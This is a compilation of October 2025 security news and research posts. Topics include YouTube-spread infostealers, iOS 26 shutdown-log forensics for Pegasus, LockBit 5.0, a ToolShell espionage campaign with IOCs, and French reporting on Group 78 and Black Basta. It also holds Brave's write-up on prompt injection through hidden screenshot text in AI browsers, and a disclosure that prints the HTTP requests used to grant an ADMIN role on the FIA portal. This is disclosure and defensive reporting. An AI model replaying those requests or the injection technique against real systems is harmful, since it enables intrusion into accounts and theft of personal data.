• The Register
Carly Page
Thu 23 Oct 2025 //
Google has taken down thousands of YouTube videos that were quietly spreading password-stealing malware disguised as cracked software and game cheats.
Researchers at Check Point say the so-called "YouTube Ghost Network" hijacked and weaponized legitimate YouTube accounts to post tutorial videos that promised free copies of Photoshop, FL Studio, and Roblox hacks, but instead lured viewers into installing infostealers such as Rhadamanthys and Lumma.
The campaign, which has been running since 2021, surged in 2025, with the number of malicious videos tripling compared to previous years. More than 3,000 malware-laced videos have now been scrubbed from the platform after Check Point worked with Google to dismantle what it called one of the most significant malware delivery operations ever seen on YouTube.
Check Point says the Ghost Network relied on thousands of fake and compromised accounts working in concert to make malicious content look legitimate. Some posted the "tutorial" videos, others flooded comment sections with praise, likes, and emojis to give the illusion of trust, while a third set handled "community posts" that shared download links and passwords for the supposed cracked software.
"This operation took advantage of trust signals, including views, likes, and comments, to make malicious content seem safe," said Eli Smadja, security research group manager at Check Point. "What looks like a helpful tutorial can actually be a polished cyber trap. The scale, modularity, and sophistication of this network make it a blueprint for how threat actors now weaponise engagement tools to spread malware."
Once hooked, victims were typically instructed to disable antivirus software, then download an archive hosted on Dropbox, Google Drive, or MediaFire. Inside was malware rather than a working copy of the promised program, and once opened, the infostealers exfiltrated credentials, crypto wallets, and system data to remote command-and-control servers.
One hijacked channel with 129,000 subscribers posted a cracked version of Adobe Photoshop that racked up nearly 300,000 views and more than 1,000 likes. Another targeted cryptocurrency users, redirecting them to phishing pages hosted on Google Sites.
As Check Point tracked the network, it found the operators frequently rotated payloads and updated download links to outpace takedowns, creating a resilient ecosystem that could quickly regenerate even when accounts were banned.
Check Point says the Ghost Network's modular design, with uploaders, commenters, and link distributors, allowed campaigns to persist for years. The approach mimics a separate operation the firm has dubbed the "Stargazers Ghost Network" on GitHub, where fake developer accounts host malicious repositories.
While most of the malicious videos pushed pirated software, the biggest lure was gaming cheats – particularly for Roblox, which has an estimated 380 million monthly active players. Other videos dangled cracked copies of Microsoft Office, Lightroom, and Adobe tools. The "most viewed" malicious upload targeted Photoshop, drawing almost 300,000 views before Google's cleanup operation.
The surge in 2025 marks a sharp shift in how malware is being distributed. Where phishing emails and drive-by downloads once dominated, attackers are now exploiting the social credibility of mainstream platforms to bypass user skepticism.
"In today's threat landscape, a popular-looking video can be just as dangerous as a phishing email," Smadja said. "This takedown shows that even trusted platforms aren't immune to weaponization, but it also proves that with the right intelligence and partnerships, we can push back."
Check Point doesn't have concrete evidence as to who is operating this network. It said the primary beneficiaries currently appear to be cybercriminals motivated by profit, but this could change if nation-state groups use the same tactics and video content to attract high-value targets.
The YouTube Ghost Network's rise underscores how far online malware peddlers have evolved from spammy inbox bait. The ghosts may have been exorcised this time, but with engagement now an attack vector, the next haunting is only ever a click away.
iverify.io
By Matthias Frielingsdorf, VP of Research
Oct 21, 2025
iOS 26 changes how shutdown logs are handled, erasing key evidence of Pegasus and Predator spyware, creating new challenges for forensic investigators
As iOS 26 is being rolled out, our team noticed a particular change in how the operating system handles the shutdown.log file: it effectively erases crucial evidence of Pegasus and Predator spyware infections. This development poses a serious challenge for forensic investigators and individuals seeking to determine if their devices have been compromised at a time when spyware attacks are becoming more common.
The Power of the shutdown.log
For years, the shutdown.log file has been an invaluable, yet often overlooked, artifact in the detection of iOS malware. Located within the Sysdiagnoses in the Unified Logs section (specifically, Sysdiagnose Folder -> system_logs.logarchive -> Extra -> shutdown.log), it has served as a silent witness to the activities occurring on an iOS device, even during its shutdown sequence.
In 2021, the publicly known version of Pegasus spyware was found to leave discernible traces within this shutdown.log. These traces provided a critical indicator of compromise, allowing security researchers to identify infected devices. However, the developers behind Pegasus, NSO Group, are constantly refining their techniques, and by 2022 Pegasus had evolved.
Pegasus's Evolving Evasion Tactics
While still leaving evidence in the shutdown.log, their methods became more sophisticated. Instead of leaving obvious entries, they began to completely wipe the shutdown.log file. Yet, even with this attempted erasure, their own processes still left behind subtle traces. This meant that even a seemingly clean shutdown.log that began with evidence of a Pegasus sample was, in itself, an indicator of compromise. Multiple cases of this behavior were observed until the end of 2022, highlighting the continuous adaptation of these malicious actors.
Following this period, it is believed that Pegasus developers implemented even more robust wiping mechanisms, likely monitoring device shutdown to ensure a thorough eradication of their presence from the shutdown.log. Researchers have noted instances where devices known to be active had their shutdown.log cleared, alongside other IOCs for Pegasus infections. This led to the conclusion that a cleared shutdown.log could serve as a good heuristic for identifying suspicious devices.
Predator's Similar Footprint
The sophisticated Predator spyware, observed in 2023, also appears to have learned from the past. Given that Predator was actively monitoring the shutdown.log, and considering the similar behavior seen in earlier Pegasus samples, it is highly probable that Predator, too, left traces within this critical log file.
iOS 26: An Unintended Cleanse
With iOS 26 Apple introduced a change—either an intentional design decision or an unforeseen bug—that causes the shutdown.log to be overwritten on every device reboot instead of appended with a new entry every time, preserving each as its own snapshot. This means that any user who updates to iOS 26 and subsequently restarts their device will inadvertently erase all evidence of older Pegasus and Predator detections that might have been present in their shutdown.log.
This automatic overwriting, while potentially intended for system hygiene or performance, effectively sanitizes the very forensic artifact that has been instrumental in identifying these sophisticated threats. It could hardly come at a worse time - spyware attacks have been a constant in the news and recent headlines show that high-power executives and celebrities, not just civil society, are being targeted.
Identifying Pegasus 2022: A Specific IOC
For those still on iOS versions prior to 26, a specific IOC for Pegasus 2022 infections involved the presence of a /private/var/db/com.apple.xpc.roleaccountd.staging/com.apple.WebKit.Networking entry within the shutdown.log. This particular IOC also revealed a significant shift in NSO Group's tactics: they began using normal system process names instead of easily identifiable, similarly named processes, making detection more challenging.
An image of a shutdown.log file
Correlating Logs for Deeper Insight (< iOS 18)
For devices running iOS 18 or earlier, a more comprehensive approach to detection involved correlating containermanagerd log entries with shutdown.log events. Containermanagerd logs contain boot events and can retain data for several weeks. By comparing these boot events with shutdown.log entries, investigators could identify discrepancies. For example, if numerous boot events were observed before shutdown.log entries, it suggested that something was amiss and potentially being hidden.
Before You Update
Given the implications of iOS 26's shutdown.log handling, it is crucial for users to take proactive steps:
Before updating to iOS 26, immediately take and save a sysdiagnose of your device. This will preserve your current shutdown.log and any potential evidence it may contain.
Consider holding off on updating to iOS 26 until Apple addresses this issue, ideally by releasing a bug fix that prevents the overwriting of the shutdown.log on boot.
Key Takeaways
Just months after being disrupted during Operation Cronos, the notorious LockBit ransomware group has reemerged — and it hasn’t wasted time. Check Point Research has confirmed that LockBit is back in operation and already extorting new victims.
Throughout September 2025, Check Point Research identified a dozen organizations targeted by the revived operation, with half of them infected by the newly released LockBit 5.0 variant and the rest by LockBit Black. The attacks span Western Europe, the Americas, and Asia, affecting both Windows and Linux systems, a clear sign that LockBit’s infrastructure and affiliate network are once again active.
A Rapid and Confident Comeback
At the beginning of September, LockBit officially announced its return on underground forums, unveiling LockBit 5.0 and calling for new affiliates to join. This latest version, internally codenamed “ChuongDong,” marks a significant evolution of the group’s encryptor family.
The newly observed LockBit 5.0 attacks span a broad range of targets — about 80% on Windows systems, and around 20% on ESXi and Linux environments. The quick reappearance of multiple active victims demonstrates that LockBit’s Ransomware-as-a-Service (RaaS) model has successfully reactivated its affiliate base.
From Disruption to Reorganization
Until its takedown in early 2024, LockBit was the most dominant RaaS operation globally, responsible for 20–30% of all data-leak site victim postings. Following Operation Cronos, several arrests and data seizures disrupted the group’s infrastructure. Competing ransomware programs, such as RansomHub and Qilin, briefly tried to absorb its affiliates.
However, LockBit’s administrator, LockBitSupp, evaded capture and continued to hint at a comeback on dark web forums. In May 2025, he posted defiantly on the RAMP forum: “We always rise up after being hacked.” By August, LockBitSupp reappeared again, claiming the group was “getting back to work,” a statement that quickly proved true.
A Divided Underground
While LockBit regained traction on RAMP, other major forums like XSS continued to ban RaaS advertising. In early September, LockBitSupp attempted to be reinstated on XSS, even prompting a community vote, which ultimately failed.
Implications: A Familiar Threat Returns
LockBit’s reemergence underscores the group’s resilience and sophistication. Despite high-profile law enforcement actions and public setbacks, the group has once again managed to restore its operations, recruit affiliates, and resume extortion.
With its mature RaaS model, cross-platform reach, and proven reputation among cyber criminals, LockBit’s return represents a renewed threat to organizations across all sectors. September’s wave of infections likely marks only the beginning of a larger campaign — and October’s postings may confirm the group’s full operational recovery.
| Brave brave.com
Authors
Shivan Kaul Sahib
Artem Chaikin
AI browsers remain vulnerable to prompt injection attacks via screenshots and hidden content, allowing attackers to exploit users' authenticated sessions.
This is the second post in a series about security and privacy challenges in agentic browsers. This vulnerability research was conducted by Artem Chaikin (Senior Mobile Security Engineer), and was written by Artem and Shivan Kaul Sahib (VP, Privacy and Security).
Building on our previous disclosure of the Perplexity Comet vulnerability, we’ve continued our security research across the agentic browser landscape. What we’ve found confirms our initial concerns: indirect prompt injection is not an isolated issue, but a systemic challenge facing the entire category of AI-powered browsers. This post examines additional attack vectors we’ve identified and tested across different implementations.
On request, we are withholding one additional vulnerability found in another browser for now. We plan on providing more details next week.
As we’ve written before, AI-powered browsers that can take actions on your behalf are powerful yet extremely risky. If you’re signed into sensitive accounts like your bank or your email provider in your browser, simply summarizing a Reddit post could result in an attacker being able to steal money or your private data.
As always, we responsibly reported these issues to the various companies listed below so the vulnerabilities could be addressed. As we’ve previously said, a safer Web is good for everyone. The thoughtful commentary and debate about secure agentic AI that was raised by our previous blog post in this series motivated our decision to continue researching and publicizing our findings.
Prompt injection via screenshots in Perplexity Comet
Perplexity’s Comet assistant lets users take screenshots on websites and ask questions about those images. These screenshots can be used as yet another way to inject prompts that bypass traditional text-based input sanitization. Malicious instructions embedded as nearly-invisible text within the image are processed as commands rather than (untrusted) content.
How the attack works:
Setup: An attacker embeds malicious instructions in Web content that are hard to see for humans. In our attack, we were able to hide prompt injection instructions in images using a faint light blue text on a yellow background. This means that the malicious instructions are effectively hidden from the user.
Trigger: User-initiated screenshot capture of a page containing camouflaged malicious text.
Injection: Text recognition extracts text that’s imperceptible to human users (possibly via OCR though we can’t tell for sure since the Comet browser is not open-source). This extracted text is then passed to the LLM without distinguishing it from the user’s query.
Exploit: The injected commands instruct the AI to use its browser tools maliciously.
| SECURITY.COM
Threat Hunter Team
Symantec and Carbon Black
China-based threat actors also compromised networks of government agencies in countries in Africa and South America.
China-based threat actors also compromised networks of government agencies in countries in Africa and South America.
Threat Intelligence
22 Oct 2025
7 Min Read
Share
China-based attackers used the ToolShell vulnerability (CVE-2025-53770) to compromise a telecoms company in the Middle East shortly after the vulnerability was publicly revealed and patched in July 2025.
The same threat actors also compromised two government departments in the same African country during the same time period. Zingdoor, which was deployed on the networks of all three organizations, has in the past been associated with the Chinese group Glowworm (aka Earth Estries, FamousSparrow).
Another tool used in this campaign, KrustyLoader, has also previously been linked to activity by a group called UNC5221, which has been described as a China-nexus group.
The attackers also gained access to the networks of two government agencies in South America and a university in the U.S. recently. In these attacks, the attackers used other vulnerabilities for initial access and exploited SQL servers and Apache HTTP servers running the Adobe ColdFusion software to deliver their malware. Notably, in the South American victims, the attackers used the filename “mantec.exe”, possibly to mimic a Symantec filename (“symantec.exe”) in an attempt to hide their malicious activity. This binary (mantec.exe), which is a legitimate copy of a BugSplat executable, a tool used for bug tracking, was used to sideload a malicious DLL.
Evidence suggests that a state technology agency in an African country, a government department in the Middle East and a finance company in a European country were also compromised by the same attackers.
What is ToolShell?
ToolShell was patched by Microsoft in July 2025, but by the time it was patched it had already been exploited in the wild as a zero-day vulnerability. ToolShell affects on-premise SharePoint servers and gives an attacker unauthenticated access to vulnerable servers, allowing them to remotely execute code and access all content and file systems. ToolShell was a variant of another vulnerability (CVE-2025-49704) that had been patched in July 2025. Another related vulnerability (CVE-2025-53771) was also patched at the same time as ToolShell. This is a path traversal bug that allows an authorized attacker to perform spoofing over a network. It too was a variant of an older patched vulnerability (CVE-2025-49706).
Shortly after patching the vulnerabilities, Microsoft said that at least three Chinese groups had been exploiting ToolShell. Microsoft said at the time that two Chinese espionage groups had been exploiting the vulnerability - Budworm (aka Linen Typhoon) and Sheathminer (aka Violet Typhoon). In addition to this, a third China-based actor, known as Storm-2603, was also exploiting the vulnerabilities to carry out attacks in which it was distributing the Warlock ransomware.
Toolset
Malicious activity in the telecoms company in the Middle East began on July 21, 2025, just two days after patches were published for ToolShell, with the deployment of a likely webshell by the attackers.
The attackers loaded the Zingdoor backdoor onto the network by sideloading it using a legitimate Trend Micro binary. Zingdoor is a HTTP backdoor written in Go, which was first seen in April 2023, and first documented by Trend Micro in August that year being used in a campaign that they attributed to Glowworm. Zingdoor can collect system information, upload and download files, and run arbitrary commands on compromised networks. As well as Zingdoor, the attackers also deployed what appears to be the ShadowPad Trojan. The loader for the Trojan was sideloaded using a legitimate BitDefender binary (SHA256: 3fc4f3ffce6188d3ef676f9825cdfa297903f6ca7f76603f12179b2e4be90134).
ShadowPad is a modular remote access Trojan (RAT) that is closely associated with China-based APT groups. Because of its modular nature, ShadowPad can be continuously updated with new functionalities. This capability makes it a powerful tool. It is associated with various threat groups, particularly the APT41-nexus groups such as Blackfly, Grayfly and Redfly. It was documented being used by Glowworm in 2024, which was the first time that particular group had been observed using the malware. It has more recently been used in attacks where ransomware has been deployed. Typically, ShadowPad is loaded onto victim networks via DLL sideloading. DLL sideloading is a technique where the attackers use the DLL search order mechanism in Windows to plant and then invoke a legitimate application that executes a malicious DLL payload.
On July 25, KrustyLoader was dropped by the attackers. KrustyLoader was first documented in January 2024. It is an initial-stage malware, written in Rust, which has the primary purpose of delivering a second-stage payload. KrustyLoader can carry out various anti-sandbox and anti-analysis checks, can make a copy of itself and set itself up to self-delete when its activity is finished, and can decrypt and download additional malware. Its previous activity has been linked to China-based threat actors, and in earlier campaigns it was also used to download the Sliver post-exploitation framework, which is also seen deployed against this target.
Sliver is an open-source cross-platform adversary emulation/red team framework that can legitimately be used for security testing. However, it is often abused by threat actors who use it as a command-and-control framework.
A variety of publicly available and living-off-the-land tools are also used by the attackers in this activity, including:
Certutil: Microsoft Windows utility that can be used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates.
GoGo Scanner: A publicly available automated scanning engine aimed at Chinese speaking users, for use by red teams. It is available on GitHub.
Revsocks: A publicly available cross-platform SOCKS5 proxy server program/library written in C that can also reverse itself over a firewall.
Procdump: Microsoft Sysinternals tool for monitoring an application for CPU spikes and generating crash dumps, but can also be used as a general process dump utility.
Minidump: A script from the post-exploitation framework PowerSploit used for dumping processes. Attackers usually dump lsass.exe to find credentials.
LsassDumper: A utility designed to dump the Local Security Authority Subsystem Service (LSASS) process memory to a file.
An exploit for the Windows LSA Spoofing Vulnerability, CVE-2021-36942 (aka PetitPotam), was also executed. PetitPotam is an exploitation technique that allows for a threat actor within a compromised network to steal credentials and authentication information from Windows Servers such as a Domain Controller to gain full control of the domain. This is likely used for lateral movement or privilege escalation.
ToolShell impact further revealed
These attacks demonstrate that the ToolShell vulnerability was being exploited by an even wider range of Chinese threat actors than was originally thought.
There is some overlap in the types of victims and some of the tools used between this activity and activity previously attributed to Glowworm. However, we do not have sufficient evidence to conclusively attribute this activity to one specific group, though we can say that all evidence points to those behind it being China-based threat actors.
The large number of apparent victims of this activity is also notable. This may indicate that the attackers were carrying out an element of mass scanning for the ToolShell vulnerability, before then carrying out further activity only on networks of interest. The activity carried out on targeted networks indicates that the attackers were interested in stealing credentials and in establishing persistent and stealthy access to victim networks, likely for the purpose of espionage.
Indicators of Compromise (IOCs)
File indicators
6240e39475f04bfe55ab7cba8746bd08901d7678b1c7742334d56f2bc8620a35 - LsassDumper
929e3fdd3068057632b52ecdfd575ab389390c852b2f4e65dc32f20c87521600 - KrustyLoader
db15923c814a4b00ddb79f9c72f8546a44302ac2c66c7cc89a144cb2c2bb40fa - Likely ShadowPad
e6c216cec379f418179a3f6a79df54dcf6e6e269a3ce3479fd7e6d4a15ac066e – ShadowPad Loader
071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6 - Zingdoor
1f94ea00be79b1e4e8e0b7bbf2212f2373da1e13f92b4ca2e9e0ffc5f93e452b - PetitPotam/CVE-2021-36942 exploit
dbdc1beeb5c72d7b505a9a6c31263fc900ea3330a59f08e574fd172f3596c1b8 - RevSocks
6aecf805f72c9f35dadda98177f11ca6a36e8e7e4348d72eaf1a80a899aa6566 - LsassDumper
568561d224ef29e5051233ab12d568242e95d911b08ce7f2c9bf2604255611a9 - Socks Proxy
28a859046a43fc8a7a7453075130dd649eb2d1dd0ebf0abae5d575438a25ece9 - GoGo Scanner
7be8e37bc61005599e4e6817eb2a3a4a5519fded76cb8bf11d7296787c754d40 - Sliver
5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61 - ProcDump
e4ea34a7c2b51982a6c42c6367119f34bec9aeb9a60937836540035583a5b3bc - ProcDump
7803ae7ba5d4e7d38e73745b3f321c2ca714f3141699d984322fa92e0ff037a1 – Minidump
7acf21677322ef2aa835b5836d3e4b8a6b78ae10aa29d6640885e933f83a4b01 - mantec.exe – Benign executable
6c48a510642a1ba516dbc5effe3671524566b146e04d99ab7f4832f66b3f95aa - bugsplatrc.dll
Network indicators
http://kia-almotores.s3.amazonaws[.]com/sy1cyjt - KrustyLoader C&C server
http://omnileadzdev.s3.amazonaws[.]com/PBfbN58lX - KrustyLoader C&C server
ian.sh
Ian Carroll
22.10.2025¨
We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.
Introduction
With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.
Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, Gal Nagli, Sam Curry, and I thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.
This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.
Finding F1 Driver Licenses
To race in Formula 1, drivers hold an FIA Super Licence. It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.
F1 drivers often compete outside Grands Prix as well, where the FIA uses a Driver Categorisation (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at drivercategorisation.fia.com, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.
The public login page for the Driver Categorisation portal..
After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:
Copy
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null
}
The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:
Copy
HTTP/1.1 200
Content-type: application/json
Content-Length: 313
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "2000-02-17",
"gender": null,
"token": null,
"roles": null,
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
The JSON HTTP response for updating our own profile contained the "roles" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.
JavaScript from the FIA Driver Categorisation portal.
Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:
Copy
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
]
}
Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.
Copy
HTTP/1.1 200
Content-type: application/json
Content-Length: 313
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "1999-10-17",
"gender": null,
"token": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
],
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.
Accessing the driver categorisation portal as an administrator.
To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.
Internal FIA comments about the categorisation of a professional F1 driver.
We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. We did not access any passports / sensitive information and all data has been deleted.
Disclosure timeline
06/03/2025: Initial disclosure to FIA via email and Linkedin
06/03/2025: Initial response from FIA, site taken offline
06/10/2025: Official response from FIA informing us of a comprehensive fix
10/22/2025: Release of blog post, public disclosure
lemonde.fr
Par Florian Reynaud et Martin Untersinger
Publié le 16 octobre 2025 à 06h30, modifié le 16 octobre 2025 à 10h04
En novembre 2024, la présentation de cette task force par le FBI à des policiers et des magistrats européens a choqué certains enquêteurs. Ils craignent notamment pour l’intégrité de leurs investigations.
Les policiers sont venus de toute l’Europe. En ce début novembre 2024, ils ont rendez-vous au siège d’Europol, l’organisme de coopération des polices européennes, à La Haye, aux Pays-Bas. Ils vont plancher en secret sur une enquête ultrasensible visant Black Basta, un gang de cybercriminels d’élite.
Même s’il est alors en perte de vitesse, ce groupe fait encore partie des plus dangereux au monde. Il a frappé entreprises et administrations sans épargner personne, pas même des hôpitaux : la quasi-totalité des services de police et de justice d’Europe l’ont dans le viseur. Comme souvent dans ce type de rassemblement, le puissant FBI – partenaire de longue date d’Europol – est présent. Mais au cours de la réunion, l’agent de liaison de la police fédérale américaine laisse sa place à un de ses collègues pour un exposé des plus inhabituels.
Ce dernier est venu présenter une unité secrète du gouvernement américain : le « Group 78 ». Il ira ensuite faire de même dans une deuxième réunion, à Eurojust, le pendant d’Europol où se coordonnent les magistrats. Sur la base de documents, de plusieurs sources policières et judiciaires européennes et à l’issue d’une enquête de plusieurs mois, Le Monde et Die Zeit sont en mesure de révéler l’existence de cette cellule secrète, son nom et la manière dont elle a été présentée aux enquêteurs européens.
Des enquêteurs médusés
Lors de ces deux réunions, l’agent du FBI détaille la façon dont le Group 78 entend remplir sa mission. Sa stratégie est double : d’une part, mener des actions en Russie pour rendre la vie des membres de Black Basta impossible et les forcer à quitter le territoire pour les mettre à portée des mandats d’arrêt les visant ; d’autre part, manipuler les autorités russes pour qu’elles mettent fin à la protection dont bénéficie le gang. Pour les policiers et les magistrats européens, le message est clair : les services de renseignement américains viennent de faire une entrée fracassante dans le paysage.
Une partie d’entre eux est sous le choc. D’abord parce que le Group 78 semble conscient de perturber, par ses actions, des opérations judiciaires européennes. Ensuite, des enquêteurs craignent que la stratégie de cette cellule cache des actions violentes ou illégales. Et si, grâce à ces dernières, les criminels se retrouvent à portée de mandat d’arrêt européen, cela reviendrait, pour la justice européenne, à blanchir les manœuvres des services américains. « Hors de question que je couvre ça », s’écrie auprès du Monde et de son partenaire d’enquête un magistrat européen, très remonté.
Enfin, certains reprochent au FBI d’avoir mélangé les rôles en introduisant le Group 78 dans une enceinte judiciaire où la coopération, la transparence entre alliés et le secret de l’enquête ont permis de remporter des succès majeurs dans la lutte contre la pègre numérique. Que plusieurs sources présentes aient accepté de se confier à des journalistes est un signe du malaise suscité.
Le Group 78 est apparu « dans une ou deux enquêtes, causant une colère considérable au sein de la coopération policière, dénonce auprès du Monde et de son partenaire un second magistrat spécialisé d’un autre pays européen. Nous ne savons pas exactement qui l’a fondé et quelles sont ses motivations politiques. Nous ne voulons rien avoir affaire avec ça. Nous sommes des enquêteurs : pour nous, dès qu’un groupe comme Group 78 apparaît, c’est fini. » La présentation du FBI a contraint certains enquêteurs à revoir leurs plans vis-à-vis de Black Basta, confirme une source proche du dossier.
lemagit.fr par
Valéry Rieß-Marchive, Rédacteur en chef
Publié le: 20 oct. 2025
Selon Le Monde et Die Zeit, un mystérieux « Group 78 » aurait organisé des fuites d’information sur le groupe de rançongiciel Black Basta, visant notamment à les déstabiliser. Ai-je compté parmi leurs destinataires ?
Ce jeudi 16 octobre, Le Monde et Die Zeit ont publié une enquête sur un mystérieux groupe 78 qui aurait deux objectifs principaux : « d’une part, mener des actions en Russie pour rendre la vie des membres de Black Basta impossible et les forcer à quitter le territoire afin de les mettre à portée des mandats d’arrêt les visant ; d’autre part, manipuler les autorités russes pour qu’elles mettent fin à la protection dont bénéficie le gang ».
Selon nos confrères, ces révélations « éclairent d’un jour nouveau deux événements survenus peu de temps après. À la mi-décembre, une même source anonyme contacte deux journalistes spécialisés dans la Cybercriminalité ». J’étais l’un d’eux.
L’approche
Pour moi, tout a commencé le 16 décembre 2024. Peu avant 22h, un inconnu se glisse dans mes messages directs sur X (ex-Twitter) : « je vous écris pour voir si vous êtes intéressé de savoir qui est le leader de Black Basta ».
Black Basta, c’est une enseigne de ransomware apparue au printemps 2022, moins de deux mois après l’invasion de l’Ukraine par la Russie. C’est à ce moment-là que Conti a pris ouvertement position en faveur de l’envahisseur. Une initiative qui a conduit à l’éclatement de l’enseigne et à la fuite de nombreuses données internes sensibles. De là ont émergé Akira, BlackByte, Karakurt, Black Basta ou encore Royal/BlackSuit et ThreeAM.
Je suivais de près les activités de Black Basta. J’en avais ainsi pointé un net recul durant l’été 2024. L’enseigne était globalement discrète malgré quelques victimes de renom. Ses habitudes de négociation suggéraient l’existence d’une poignée de sous-groupes, dont certains aux processus plus structurés que d’autres. De quoi rappeler l’organisation des Conti ou Akira.
En France, Black Basta s’est notamment attaqué à Oralia en avril 2022, puis H-Tube, l’étude Villa Florek, Envea, Dupont Restauration, et Baccarat. Au total, plus de 520 victimes de Black Basta sont publiquement connues, contre plus de 350 pour Conti.
En novembre 2023, Elliptic et Corvus Insurance estimaient que Black Basta avait encaissé plus de 100 millions de dollars de rançons en près de deux ans d’activité.
L’individu qui m’a contacté, c’est un certain « Mikhail ». Bien sûr que j’étais intéressé par ce qu’il avait à dire. J’avais suivi des mouvements de fonds, en Bitcoin, confirmant les liens entre Conti et Black Basta. Il m’apparaissait probable que l’on allait parler de celui qui se faisait appeler « tramp ». Mon intuition était juste. Les premiers échanges de courriels ont commencé dans la foulée de la prise de contact initiale.
Moins de dix jours après cela, la veille de Noël, dans l’après-midi, Hakan Tanriverdi, de Paper Trail Media, m’appelle : il ne nous faut pas longtemps pour établir que nous avons été approchés par la même source.
Les doutes
Très vite, nous décidons de rester en contact étroit pour discuter des informations fournies par « Mikhail », et notamment valider leur cohérence de part et d’autre.
Pour cela, nous ouvrons un canal de communication partagé, sécurisé, aux messages éphémères. Nous ne sommes pas seuls dans ce groupe qui comptera 5 membres au final : j’ai notamment proposé que des spécialistes du renseignement humain (HUMINT) et de la cybercriminalité apportent leur regard. D’autres, de plusieurs régions du monde et en dehors de ce groupe, viendront également me prêter main-forte au fil de l’enquête.
Ces apports externes seront essentiels. Car très vite, des interrogations sur l’identité et les motivations de « Mikhail » ont émergé ; à juste titre, suggèrent les révélations de nos confrères du Monde, Florian Reynaud et Martin Untersinger.
Comme ils l’indiquent, « les deux reporters soupçonnent cependant [la source] d’être un faux-nez des autorités américaines : elle ne leur parlait qu’aux horaires de bureaux américains et utilisait du jargon juridique inhabituel pour un membre de la pègre russophone… »
Plus précisément, « Mikhail » ne m’a jamais écrit avant 13h45 heure de Paris. Sa plage horaire d’activité observable était loin de suggérer une localisation quelque part entre l’Europe centrale et l’Oural, mais bien plus sur la rive ouest de l’Atlantique.
Et il ne m’a jamais envoyé plus d’un mail par jour, comme s’il écrivait depuis un poste dont l’accès était restreint, au moins dans le temps. Les cybercriminels avec lesquels j’ai pu échanger (ou essayer) sont loin d’avoir ce profil : soit ils refusent de parler, soit ils s’avèrent extrêmement bavards, jusqu’à engager des conversations sur des sujets personnels.
« Mikhail » est en outre resté silencieux à Noël et au Nouvel An, comme s’il faisait une pause. Avant de reprendre langue le 2 janvier en souhaitant bonne année. Mais il était bien actif le 14 janvier… jour du Nouvel An orthodoxe. En pleine période durant laquelle de nombreux cybercriminels russophones sont en congé.
Enfin, il y a le vocabulaire et le style de langage utilisé par « Mikhail », bien plus marqués « forces de l’ordre » que « cybercriminels ».
Accélération
Fin janvier 2025, il a commencé à se faire pressant, semblant s’impatienter que je n’aie encore rien publié, et ne guère goûter certaines de mes questions. Le 20 février, il m’enverra son dernier mail. Une fuite majeure concernant Black Basta venait d’avoir lieu sur Telegram. « Mikhail » ne se contente pas de la relever : il me fournit un lien direct vers les données, hébergées sur Mega. Comme s’il tenait vraiment à ce que je mette la main dessus rapidement.
Déjà début janvier, que « Mikhail » soit effectivement un ex-Black Basta ou une gorge profonde, il apparaissait clair que l’enseigne était proche de partir en fumée. Un mois et demi plus tard, de nombreux éléments rendus publics permettaient de confirmer l’authenticité des données divulguées.
